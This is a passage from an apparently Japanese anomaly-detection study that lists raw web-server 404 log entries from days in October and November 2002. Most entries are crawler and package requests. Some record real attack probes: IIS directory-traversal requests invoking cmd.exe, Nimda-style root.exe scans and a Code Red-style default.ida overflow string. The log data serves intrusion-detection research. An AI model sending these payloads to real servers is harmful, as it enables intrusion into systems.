実験で使用したデータの中で異常値として検出された日の404の発生したデータを以下に示す。
209.237.238.160 - - [04/Oct/2002:00:27:52 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.163 - - [04/Oct/2002:00:31:19 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.164 - - [04/Oct/2002:06:18:45 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.161 - - [04/Oct/2002:07:12:56 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.164 - - [04/Oct/2002:07:33:40 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.164 - - [04/Oct/2002:07:58:22 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.162 - - [04/Oct/2002:08:12:25 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.160 - - [04/Oct/2002:08:38:01 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.165 - - [04/Oct/2002:08:46:45 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.163 - - [04/Oct/2002:08:59:41 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.162 - - [04/Oct/2002:09:30:36 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.161 - - [04/Oct/2002:09:32:12 +0900] "GET /robots.txt HTTP/1.0" 404 204 66.250.105.36 - - [04/Oct/2002:09:48:27 +0900] "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 - 209.237.238.165 - - [04/Oct/2002:10:01:06 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.163 - - [04/Oct/2002:10:18:23 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.164 - - [04/Oct/2002:10:22:00 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.162 - - [04/Oct/2002:10:45:17 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.249.67.147 - - [04/Oct/2002:10:52:02 +0900] "GET /robots.txt HTTP/1.1" 404 216 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/g/gcc-2.95/libstdc++2.10-glibc2.2_2.95.4-11woody1_i386.deb HTTP/1.1" 404 288 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/g/gcc-2.95/cpp-2.95_2.95.4-11woody1_i386.deb HTTP/1.1" 404 274 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/g/gcc-2.95/gcc-2.95_2.95.4-11woody1_i386.deb HTTP/1.1" 404 274 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/g/gcc-2.95/libstdc++2.10-dev_2.95.4-11woody1_i386.deb HTTP/1.1" 404 283 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/g/gcc-2.95/g++-2.95_2.95.4-11woody1_i386.deb HTTP/1.1" 404 274 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/i/ispell/ispell_3.1.20.0-0woody1_i386.deb HTTP/1.1" 404 271 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/i/ispell/iamerican_3.1.20.0-0woody1_i386.deb HTTP/1.1" 404 274 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/i/ispell/ibritish_3.1.20.0-0woody1_i386.deb HTTP/1.1" 404 273 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/o/openssl/libssl0.9.6_0.9.6g-0.woody.1_i386.deb HTTP/1.1" 404 277 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/p/python2.1/python2.1-xmlbase_2.1.3-4.3_i386.deb HTTP/1.1" 404 278 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/p/python2.1/python2.1-tk_2.1.3-4.3_i386.deb HTTP/1.1" 404 273 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/p/python2.1/python2.1_2.1.3-4.3_i386.deb HTTP/1.1" 404 270 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/p/python2.1/python_2.1.3-4.3_all.deb HTTP/1.1" 404 266 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/g/gcc-2.95/g77-2.95_2.95.4-11woody1_i386.deb HTTP/1.1" 404 274 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/p/python2.1/idle-python2.1_2.1.3-4.3_all.deb HTTP/1.1" 404 274 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/p/python2.1/idle_2.1.3-4.3_all.deb HTTP/1.1" 404 264 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/p/python2.1/python2.1-doc_2.1.3-4.3_all.deb HTTP/1.1" 404 273 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/p/python2.1/python-doc_2.1.3-4.3_all.deb HTTP/1.1" 404 270 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/p/python2.1/python2.1-elisp_2.1.3-4.3_all.deb HTTP/1.1" 404 275 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/p/python2.1/python-elisp_2.1.3-4.3_all.deb HTTP/1.1" 404 272 192.168.1.7 - - [04/Oct/2002:10:54:22 +0900] "GET /debian/debian/pool/main/p/python2.1/python-tk_2.1.3-4.3_all.deb HTTP/1.1" 404 269 209.237.238.161 - - [04/Oct/2002:10:55:14 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.163 - - [04/Oct/2002:11:24:59 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.165 - - [04/Oct/2002:11:30:49 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.162 - - [04/Oct/2002:11:55:51 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.161 - - [04/Oct/2002:12:07:12 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.165 - - [04/Oct/2002:12:16:40 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.163 - - [04/Oct/2002:12:29:57 +0900] "GET /robots.txt HTTP/1.0" 404 204 210.160.56.100 - - [04/Oct/2002:12:29:59 +0900] "GET /favicon.ico HTTP/1.1" 404 217 209.237.238.164 - - [04/Oct/2002:12:58:36 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.164 - - [04/Oct/2002:13:36:33 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.164 - - [04/Oct/2002:13:57:41 +0900] "GET /robots.txt HTTP/1.0" 404 204 66.35.208.59 - - [04/Oct/2002:14:00:25 +0900] "GET /robots.txt HTTP/1.1" 404 216 209.237.238.162 - - [04/Oct/2002:14:28:26 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.164 - - [04/Oct/2002:15:10:07 +0900] "GET /robots.txt HTTP/1.0" 404 204 192.168.1.12 - - [04/Oct/2002:15:31:42 +0900] "GET /debian/debian/pool/main/g/gcc-2.95/libstdc++2.10-glibc2.2_2.95.4-11woody1_i386.deb HTTP/1.1" 404 288 192.168.1.12 - - [04/Oct/2002:15:31:42 +0900] "GET /debian/debian/pool/main/g/gcc-2.95/cpp-2.95_2.95.4-11woody1_i386.deb HTTP/1.1" 404 274 192.168.1.12 - - [04/Oct/2002:15:31:42 +0900] "GET /debian/debian/pool/main/g/gcc-2.95/gcc-2.95_2.95.4-11woody1_i386.deb HTTP/1.1" 404 274 192.168.1.12 - - [04/Oct/2002:15:31:42 +0900] "GET /debian/debian/pool/main/g/gcc-2.95/libstdc++2.10-dev_2.95.4-11woody1_i386.deb HTTP/1.1" 404 283 192.168.1.12 - - [04/Oct/2002:15:31:42 +0900] "GET /debian/debian/pool/main/g/gcc-2.95/g++-2.95_2.95.4-11woody1_i386.deb HTTP/1.1" 404 274 192.168.1.12 - - [04/Oct/2002:15:31:42 +0900] "GET /debian/debian/pool/main/g/gcc-2.95/g77-2.95_2.95.4-11woody1_i386.deb HTTP/1.1" 404 274 192.168.1.12 - - [04/Oct/2002:15:31:42 +0900] "GET /debian/debian/pool/main/x/xfree86/libxaw7-dev_4.1.0-16_i386.deb HTTP/1.1" 404 269 209.237.238.163 - - [04/Oct/2002:15:47:21 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.162 - - [04/Oct/2002:16:01:09 +0900] "GET /robots.txt HTTP/1.0" 404 204 66.35.208.59 - - [04/Oct/2002:16:22:27 +0900] "GET /robots.txt HTTP/1.1" 404 216 209.237.238.165 - - [04/Oct/2002:16:22:27 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.165 - - [04/Oct/2002:16:45:09 +0900] "GET /robots.txt HTTP/1.0" 404 204 211.10.84.73 - - [04/Oct/2002:17:04:26 +0900] "GET /favicon.ico HTTP/1.1" 404 217 209.237.238.164 - - [04/Oct/2002:17:38:17 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.163 - - [04/Oct/2002:17:50:56 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.160 - - [04/Oct/2002:18:42:54 +0900] "GET /~yoshida/4-4-4+rat1 HTTP/1.0" 404 213 209.237.238.164 - - [04/Oct/2002:18:53:27 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.162 - - [04/Oct/2002:19:29:09 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.160 - - [04/Oct/2002:19:41:24 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.237.238.165 - - [04/Oct/2002:20:38:05 +0900] "GET /robots.txt HTTP/1.0" 404 204
210.189.72.196 - - [17/Nov/2002:01:14:21 +0900] "GET /robots.txt HTTP/1.0" 404 204 147.46.236.35 - - [17/Nov/2002:02:05:49 +0900] "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 - 66.229.36.129 - - [17/Nov/2002:20:40:09 +0900] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 205 209.237.238.164 - - [17/Nov/2002:22:17:44 +0900] "GET /robots.txt HTTP/1.0" 404 204 209.63.36.22 - - [17/Nov/2002:22:55:30 +0900] "HEAD /MSADC/root.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:32 +0900] "HEAD /PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:32 +0900] "HEAD /PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:34 +0900] "HEAD /Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:35 +0900] "HEAD /Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:35 +0900] "HEAD /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:37 +0900] "HEAD /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:38 +0900] "HEAD /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:38 +0900] "HEAD /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:39 +0900] "HEAD /_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:40 +0900] "HEAD /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:40 +0900] "HEAD /_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:41 +0900] "HEAD /_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:42 +0900] "HEAD /adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:42 +0900] "HEAD /adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:43 +0900] "HEAD /c/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:44 +0900] "HEAD /cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:44 +0900] "HEAD /cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:45 +0900] "HEAD /d/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:45 +0900] "HEAD /iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:46 +0900] "HEAD /iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:48 +0900] "HEAD /msaDC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:48 +0900] "HEAD /msaDC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:50 +0900] "HEAD /msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:50 +0900] "HEAD /msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:51 +0900] "HEAD /msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:51 +0900] "HEAD /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:52 +0900] "HEAD /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:52 +0900] "HEAD /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:52 +0900] "HEAD /msadc/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:54 +0900] "HEAD /msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:54 +0900] "HEAD /msadc/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:55 +0900] "HEAD /msadc/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:55 +0900] "HEAD /msadc/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:56 +0900] "HEAD /msadc/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:56 +0900] "HEAD /msadc/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:57 +0900] "HEAD /samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:57 +0900] "HEAD /samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:58 +0900] "HEAD /scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:55:58 +0900] "HEAD /scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:56:00 +0900] "HEAD /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:56:00 +0900] "HEAD /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:56:01 +0900] "HEAD /scripts/..%252f../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:56:01 +0900] "HEAD /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:56:02 +0900] "HEAD /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - - [17/Nov/2002:22:56:02 +0900] "HEAD /scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 209.63.36.22 - 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